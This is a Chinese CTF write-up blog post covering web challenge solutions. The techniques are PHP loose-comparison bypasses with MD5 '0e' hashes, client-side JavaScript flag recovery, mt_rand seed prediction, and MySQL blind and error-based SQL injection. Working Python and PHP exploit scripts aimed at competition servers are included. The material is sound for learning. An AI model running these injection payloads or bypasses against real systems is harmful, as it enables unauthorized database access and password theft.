第三届全国网络空间安全技术大赛 Web补题 By Assassin(持续更新)

最近比较忙,可能补题的速度慢一些些~

签到题

首先进入界面发现如下代码

这里写图片描述

然后就知道用==弱匹配,构造一个纯数字串和一个纯字母串,让他们的MD5值形如0exxx且0e后面全是纯数字。就构成科学记数法0==0,payload

Username:QNKCDZO
password:240610708

进去后发现还有一个简单的绕过

这里写图片描述

我们看到又是==,有一个参考表,大家一看便知~

这里写图片描述

post的payload构造如下

message={"key":0}


抽抽奖

看到这题首先想到转盘模板,应该是js,然后看源代码的时候发现了jQurey.js这个函数有点特别,因为有一段jother加密的代码,而且相当大,没法直接运行。

然后我们在下面可以看到控制转盘的函数,通过chrome中的console调试可以发现这个可以控制转盘的方向等等。而其中的jsctf0 还是jsctf1变量也好都是我们可以更改的。

$(_$[0]).rotate({
        bind: {
            click: function() {
                var jsctf0 = [0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8];
                jsctf0 = jsctf0[Math.floor(Math.random() * jsctf0.length)];
                console.log(jsctf0);
                if (jsctf0 == 0x0) {
                    timeOut()
                } else {
                    var jsctf1 = [0x0];
                    jsctf1 = jsctf1[Math.floor(Math.random() * jsctf1.length)];
                    if (jsctf1 == 0x1) {
                        rotateFunc(0x1, 0x9d, _$[1])
                    }
                    ;if (jsctf1 == 0x2) {
                        rotateFunc(0x2, 0xf7, _$[2])
                    }
                    ;if (jsctf1 == 0x3) {
                        rotateFunc(0x3, 0x16, _$[3])
                    }
                    ;if (jsctf1 == 0x0) {
                        var jsctf2 = [0x43, 0x70, 0xca, 0x124, 0x151];
                        jsctf2 = jsctf2[Math.floor(Math.random() * jsctf2.length)];
                        rotateFunc(0x0, jsctf2, 0x0)
                    }
                }
            }
        }
    });

然后我们理所应当的揭秘那个jother加密后的代码,但是那个玩意儿实在是太大了!大概7000万字节,很难弄,但是我们可以利用chrome浏览器啊!console是一个很强大开发工具!我们可以输入指令。比如说如下!!!猜测flag?

这里写图片描述

浏览器已经帮你解决好了,但是这一步多少还是蒙的,其实分析刚刚看的代码知道调用功能的关键函数是rotateFunc函数,那我们在console中看一下rotateFunc函数也能得到关键函数getFlag~
得到代码如下

直接一搞就看到了

(function() {
window.getFlag=function(text){  if(text=='1'){      alert("你最厉害啦!可惜没flag")  }   if(text=='2'){      alert("你太厉害了,竟然是二等奖")   }   if(text=='3'){      alert("你好厉害,三等奖啊")  }   if(text=='flag'){       alert("flag{951c712ac2c3e57053c43d80c0a9e543}")     }   if(text=='0'){      alert("再来一次吧")  } }
})

继续抽

首先还是转盘,F12打开源码,发现当前的代码存在,整理后的格式为

$(function() {
    var rotateFunc = function(jsctf0, jsctf1, jsctf2) {
        $('#lotteryBtn').stopRotate();
        $("#lotteryBtn").rotate({
            angle: 0x0,
            duration: 0x1388,
            animateTo: jsctf1 + 0x5a0,
            callback: function() {
                $.get('get.php?token=' + $("#token").val() + "&id=" + encode(md5(jsctf2)), function(jsctf3) {
                    alert(jsctf3['text'])
                }, 'json');
                $.get('token.php', function(jsctf3) {
                    $("#token").val(jsctf3)
                }, 'json')
            }
        })
    };
    $("#lotteryBtn").rotate({
        bind: {
            click: function() {
                var jsctf0 = [0x0];
                jsctf0 = jsctf0[Math.floor(Math.random() * jsctf0.length)];
                if (jsctf0 == 0x1) {
                    rotateFunc(0x1, 0x9d, '1')
                }
                ;if (jsctf0 == 0x2) {
                    rotateFunc(0x2, 0xf7, '2')
                }
                ;if (jsctf0 == 0x3) {
                    rotateFunc(0x3, 0x16, '3')
                }
                ;if (jsctf0 == 0x0) {
                    var jsctf1 = [0x43, 0x70, 0xca, 0x124, 0x151];
                    jsctf1 = jsctf1[Math.floor(Math.random() * jsctf1.length)];
                    rotateFunc(0x0, jsctf1, '0')
                }
            }
        }
    })
})

我们发现下面还是转盘的控制函数嘛,但是上面就是get访问什么东西,构造就行了,首先我们需要到token.php上面拿到token值放到url中(这里token测试过不会变)。那么生成id的值的时候需要一个encode函数,这个是他自己写的,没关系我们再用console查询!

这里写图片描述

整理后的为

function encode(string) {
    var output = '';
    for (var x = 0, y = string.length, charCode, hexCode; x < y; ++x) {
        charCode = string.charCodeAt(x);
        if (128 > charCode) {
            charCode += 128
        } else if (127 < charCode) {
            charCode -= 128
        }
        charCode = 255 - charCode;
        hexCode = charCode.toString(16);
        if (2 > hexCode.length) {
            hexCode = '0' + hexCode
        }
        output += hexCode
    }
    return output
}

简单的加密格式转换而已,然后最关键的问题来了,rotateFunc函数中的jsctf2变量是转盘中调用到的函数,代码中只有0,1,2,3,而且肯定没答案。我们怎么知道是什么呢?脚本暴力构造!

上面思路理清了代码就不难写了

# -- coding:utf-8 --
import requests
import pyquery
import hashlib
cookies={'PHPSESSID':'3k2rd4536me3rjsojf473vctd7'}

def encode(string):
    key=""
    for i in string:
        if ord(i)<128:
            temp=ord(i)+128
        elif ord(i)>127:
            temp=ord(i)-128
        hexcode=255-temp
        hexvalue=""
        if len(hex(hexcode)[2:])==0:
            hexvalue+="0"
        hexvalue+=hex(hexcode)[2:]
        key+=hexvalue
    return key


s=requests.Session()
for num in range(256):
    url='http://117.34.111.15:81/'
    token = s.get(url+"token.php",cookies=cookies).text[1:-1]
    #print token
    have_encode=encode(hashlib.md5(str(num)).hexdigest())
    #print str(have_encode)
    makeurl=url+"get.php?token="+str(token)+"&id="+str(have_encode)
    #print makeurl
    html=s.get(makeurl,cookies=cookies).text
    if 'flag' in html:
        print html

这里写图片描述

Wrong

找到这个 .index.php.swp 通过恢复文件 vim -r index.php 得到下面源码

 <?php
    error_reporting(0);
    function create_password($pw_length=10){
        $randpwd="";
        for($i=0;$i<$pw_length;$i++){
            $randpwd.=chr(mt_rand(33,126));
        }
        return $randpwd;
    }
session_start();
mt_srand(time());
$pwd=create_password();

if($pwd==$_GET['pwd']){
    if($_SESSION['userLogin'==$_GET[login]]){
        echo "Good job, you get the key";
    }
    else {
        echo "Wrong!"; 
    }
}
$_SESSION['userLogin']=create_password(32).rand();
?> 

这个题目还是考察的php魔法,一开始第一反应$pwd==$_GET[‘pwd’]能否构成0==String,但是发现$_GET[]没法实现整除的传参。然后就注意到了伪随机数mt_sand ,只要本机的随机数种子 time() 和服务器一致,就生成完全一样的字符串!

然后后面的$_SESSION[‘userLogin’]==$_GET[login],可以通过删除Cookie的方法构造成NULL==NULL(第一次的时候话没有Session所以为NULL,我们构造userLogin=来构造NULL)

然后写一下代码就好了,这里需要保持本机和服务器的时间同步?不知道服务器什么时间就暴力跑好了~(ps:这个服务器时间实在是不知道,都试试吧~)

#我过了的代码如下:
<?php
require_once '/include/Requests-1.7.0/library/Requests.php';
Requests::register_autoloader();
$url = 'http://117.34.111.15:85/index.php';
function create_password($pw_length = 10){
    $randpwd = "";
    for ($i = 0; $i < $pw_length; $i++){
        $randpwd .= chr(mt_rand(33,126));
    }
    return $randpwd;
}
$headers = array('Cookie' =>"");
for($i=-100;$i<=0;$i++){
    mt_srand(time()+$i); 
    $pwd = create_password();
    $rep = Requests::get($url."?login=&pwd=$pwd");
    $content = $rep->body;
    $pos = strpos($content, "Good job");
    if($pos!==false){
        echo $content;
    }
}
?>

这里写图片描述

flag{rand_afjk_u8nm_uq2n}

so easy!

首先开头我们得到了源码。我们看到主要有三个功能

这里写图片描述

然后我们看到login函数中要admin

这里写图片描述

然后再看show函数功能,我们可以查询admin的role角色,如果正常查的话一定是admin is admin!

这里写图片描述

然后就是涨姿势的时候了!黑科技用Mysql中的位运算可以构造注入点!看一下本地的实验结果

这里写图片描述

构造username=0’^1^’1

这里写图片描述

而且我们通过login函数的查询语句,知道了passwd的位置就在user之下吧!那么我们看一下过滤函数,什么都过滤了,但是!没有过滤ascii、mid、select、from!然后我们可以用()来代替空格
简单讲一下mid这个函数为什么在过滤了逗号时候可以利用,mid函数的参数是 mid(查询变量,start,len) ,但是我们可以这样构造mid(查询变量 from start),也就是说mid可以控制查询变量的起点而ascii这个函数,当查询的是串的时候后面都会截断! 下面是本地的实验

这里写图片描述
这里写图片描述

接下来就是盲注了~懂了构造的原理代码就很简单了

# -- coding:utf-8 --
import requests
url='http://117.34.111.15:89/?action=show'
s=requests.Session()
passwd=''
for l in range(1,32):
    for c in range(1,133):
        username="0'^(ascii(mid((select(passwd)from(user)where(username='admin'))from(%d)))=%d)^'1"%(l,c)
        data={'username':username,'passwd':123}
        html=s.post(url,data=data).text
        if 'admin' in html:
            passwd+=chr(c)
            print passwd
            break

然后我们可以爆出来的passwd答案是

这里写图片描述

37b1d2f04f594bfffc826fd69e389688

然后不让我们用admin登陆,怎么办呢?utf-8编码问题绕过,超过可见字符就截断了!

这里写图片描述

flag{e4d93a53bbe9a2f9c419086c16439aa7}

just a test

不得不说自己的水平还是太低了,一开始实验的时候连注入点都找不到,本来以为是在什么地方存在什么,后面发现了注入点不是别的地方!正是我们的url路径上!没想到查询每一个页面的时候用的就是mysql的语句,的确是学习了。

这里写图片描述

然后明显的感觉就是报错注入吧,这里可以用ExtractValue或者UpdateXml函数的经典报错注入,下面进行一下简单的尝试。发现这两种方法都是可以用的~下面得到当前的数据库为test1

这里写图片描述

但是我们想要的内容不一定在test1中,还是需要报数据库名,发现还有一个test

这里写图片描述

然后我们需要爆一下表名,因为表的名字比较多,不妨写个脚本提取。

# -*- coding:utf-8 -*-
import requests
import time
import re
s=requests.Session()
for i in range(1,100):
    url="http://117.34.111.15:83/' and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit %d,1)))  and '1'='1"%i
    html=s.get(url).text
    content=re.findall(r'\'(.*?)\'',html,re.S)
    print content[0][1:]

然后我们发现了端倪,表fl@g

这里写图片描述

然后我们再爆列名吧~稍微修改就行

# -*- coding:utf-8 -*-
import requests
import time
import re
s=requests.Session()
for i in range(1,1000):
    url="http://117.34.111.15:83/' and extractvalue(1, concat(0x5c, (select column_name from information_schema.columns limit %d,1)))  and '1'='1"%i
    html=s.get(url).text
    content=re.findall(r'\'(.*?)\'',html,re.S)
    print content[0][1:]

然后我们能发现ctf中明显的提示指向…

这里写图片描述

然后就好办了,查询字段内容即可,但是这里有个坑点!fl@g这个东西在mysql会把@后面的当成变量!所以我们需要加上“符号

事实证明这个要的flag就是不在test1中

这里写图片描述

那就是在test中喽~

这里写图片描述

但是真的是答案吗?不是滴,因为ExtractValue或者UpdateXml报错出来的都只有32位的!具体的恐怕还是要用盲注了!

# -*- coding:utf-8 -*-
import requests
s=requests.Session()
flag='flag{99cd1872c9b26525a8e5ec878d'
for i in range(32,50):
    end=0
    for j in range(32,127):
        url="http://117.34.111.15:83/' and ascii(mid((select f1ag from test.`fl@g` limit 0,1),%d,1))=%d  and '1'='1"%(i,j)
        html=s.get(url).text
        print chr(j)
        if "404 - Page Not Found" not in html:
            end=1
            flag+=chr(j)
            print flag
            break

    if end==0:
        break

这里写图片描述

真正答案~flag{99cd1872c9b26525a8e5ec878d230caf}

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值